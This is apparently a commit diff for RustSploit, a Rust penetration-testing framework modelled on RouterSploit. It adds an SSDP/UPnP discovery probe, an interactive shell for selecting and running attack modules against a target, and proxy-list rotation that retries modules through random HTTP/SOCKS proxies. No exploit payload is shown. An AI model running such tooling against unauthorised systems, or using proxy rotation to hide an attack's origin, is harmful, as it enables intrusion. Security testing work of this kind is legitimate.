|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
/// Prompt for boolean yes/no
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for number
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("Please enter a valid number.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
use anyhow::{Result};
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target_ip: &str) -> Result<()> {
|
||||
let port = 1900;
|
||||
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
|
||||
|
||||
let addr = format!("{}:{}", target_ip, port);
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
|
||||
let socket = UdpSocket::bind(local_bind).await?;
|
||||
socket.connect(&addr).await?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: upnp:rootdevice\r\n\r\n",
|
||||
target_ip, port
|
||||
);
|
||||
|
||||
socket.send(request.as_bytes()).await?;
|
||||
|
||||
let mut buf = vec![0u8; 2048];
|
||||
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]);
|
||||
parse_ssdp_response(&response, target_ip, port);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target did not respond to M-SEARCH request");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
|
||||
} else {
|
||||
results.insert(key, String::from(""));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!(
|
||||
"[+] {}:{} | {} | {} | {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("server").unwrap_or(&"".to_string()),
|
||||
results.get("location").unwrap_or(&"".to_string()),
|
||||
results.get("usn").unwrap_or(&"".to_string())
|
||||
);
|
||||
}
|
||||
+152
-14
@@ -1,14 +1,35 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use anyhow::Result;
|
||||
use rand::prelude::*; // Updated for rand 0.10
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
current_target: Option<String>,
|
||||
proxy_list: Vec<String>,
|
||||
proxy_enabled: bool,
|
||||
}
|
||||
|
||||
impl ShellContext {
|
||||
fn new() -> Self {
|
||||
ShellContext {
|
||||
current_module: None,
|
||||
current_target: None,
|
||||
proxy_list: Vec::new(),
|
||||
proxy_enabled: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
let mut current_module: Option<String> = None;
|
||||
let mut current_target: Option<String> = None;
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
loop {
|
||||
print!("rsf> ");
|
||||
@@ -31,37 +52,124 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Available commands:");
|
||||
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
|
||||
println!(" set target <value> - Set the target IP/host");
|
||||
println!(" run - Run the current module");
|
||||
println!(" run - Run the current module (with proxy retries if enabled)");
|
||||
println!(" modules - List available modules");
|
||||
println!(" find <keyword> - Search for a module by keyword");
|
||||
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
|
||||
println!(" proxy_on - Enable proxy usage");
|
||||
println!(" proxy_off - Disable proxy usage");
|
||||
println!(" show_proxies - Show loaded proxies & current proxy status");
|
||||
println!(" exit, quit - Exit the shell");
|
||||
},
|
||||
"modules" => {
|
||||
utils::list_all_modules();
|
||||
},
|
||||
c if c.starts_with("use ") => {
|
||||
let module_path = c.trim_start_matches("use ").trim();
|
||||
cmd if cmd.starts_with("find ") => {
|
||||
let keyword = cmd.trim_start_matches("find ").trim();
|
||||
if keyword.is_empty() {
|
||||
println!("Usage: find <keyword>");
|
||||
} else {
|
||||
utils::find_modules(keyword);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("proxy_load ") => {
|
||||
let file = cmd.trim_start_matches("proxy_load ").trim();
|
||||
match utils::load_proxies_from_file(file) {
|
||||
Ok(list) => {
|
||||
ctx.proxy_list = list;
|
||||
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
},
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
},
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
},
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
},
|
||||
cmd if cmd.starts_with("use ") => {
|
||||
let module_path = cmd.trim_start_matches("use ").trim();
|
||||
if utils::module_exists(module_path) {
|
||||
current_module = Some(module_path.to_string());
|
||||
ctx.current_module = Some(module_path.to_string());
|
||||
println!("Module '{}' selected.", module_path);
|
||||
} else {
|
||||
println!("Module '{}' not found.", module_path);
|
||||
}
|
||||
},
|
||||
c if c.starts_with("set ") => {
|
||||
// Example: set target 192.168.1.1
|
||||
let parts: Vec<&str> = c.split_whitespace().collect();
|
||||
cmd if cmd.starts_with("set ") => {
|
||||
let parts: Vec<&str> = cmd.split_whitespace().collect();
|
||||
if parts.len() >= 3 && parts[1] == "target" {
|
||||
current_target = Some(parts[2].to_string());
|
||||
ctx.current_target = Some(parts[2].to_string());
|
||||
println!("Target set to {}", parts[2]);
|
||||
} else {
|
||||
println!("Usage: set target <value>");
|
||||
}
|
||||
},
|
||||
"run" => {
|
||||
if let Some(ref module_path) = current_module {
|
||||
if let Some(ref t) = current_target {
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
commands::run_module(module_path, t).await?;
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// -----------------------------
|
||||
// NEW: Proxy Retry Logic
|
||||
// -----------------------------
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("No target set. Use 'set target <value>' first.");
|
||||
}
|
||||
@@ -77,3 +185,33 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let untried: Vec<&String> = proxy_list.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if untried.is_empty() {
|
||||
// Fall back if somehow there's nothing untried
|
||||
let mut rng = rand::rng();
|
||||
let idx = rng.random_range(0..proxy_list.len());
|
||||
return proxy_list[idx].clone();
|
||||
}
|
||||
|
||||
let mut rng = rand::rng();
|
||||
let idx = rng.random_range(0..untried.len());
|
||||
untried[idx].clone()
|
||||
}
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
|
||||
+84
-7
@@ -1,11 +1,12 @@
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::path::{Path,};
|
||||
use std::io::{BufRead, BufReader, Error};
|
||||
use std::path::{Path};
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Recursively list .rs files up to a certain depth
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
@@ -26,8 +27,7 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows compatibility
|
||||
|
||||
.replace('\\', "/"); // For Windows
|
||||
modules.push(relative_path);
|
||||
}
|
||||
}
|
||||
@@ -37,16 +37,15 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth
|
||||
/// Dynamically checks if a module path exists at any depth (unchanged)
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
/// Lists all available modules recursively under src/modules/ (unchanged)
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
if modules.is_empty() {
|
||||
println!("{}", "No modules found.".red());
|
||||
@@ -71,3 +70,81 @@ pub fn list_all_modules() {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword
|
||||
pub fn find_modules(keyword: &str) {
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
let filtered: Vec<String> = modules
|
||||
.into_iter()
|
||||
.filter(|m| m.to_lowercase().contains(&keyword_lower))
|
||||
.collect();
|
||||
|
||||
if filtered.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("No modules found matching '{}'.", keyword).red()
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("Modules matching '{}':", keyword).bold().underline()
|
||||
);
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
for module in filtered {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
|
||||
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
|
||||
fn parse_proxy_line(line: &str) -> String {
|
||||
let trimmed = line.trim().to_lowercase();
|
||||
if trimmed.starts_with("http://")
|
||||
|| trimmed.starts_with("https://")
|
||||
|| trimmed.starts_with("socks4://")
|
||||
|| trimmed.starts_with("socks5://")
|
||||
{
|
||||
// User specified a scheme, keep as is (but restore original case if you want).
|
||||
line.to_string()
|
||||
} else {
|
||||
// Default to HTTP if no scheme is provided
|
||||
format!("http://{}", line)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning lines like:
|
||||
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
let file = fs::File::open(filename)?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
for line in reader.lines() {
|
||||
let line = line?.trim().to_string();
|
||||
if !line.is_empty() {
|
||||
let parsed = parse_proxy_line(&line);
|
||||
proxies.push(parsed);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(proxies)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user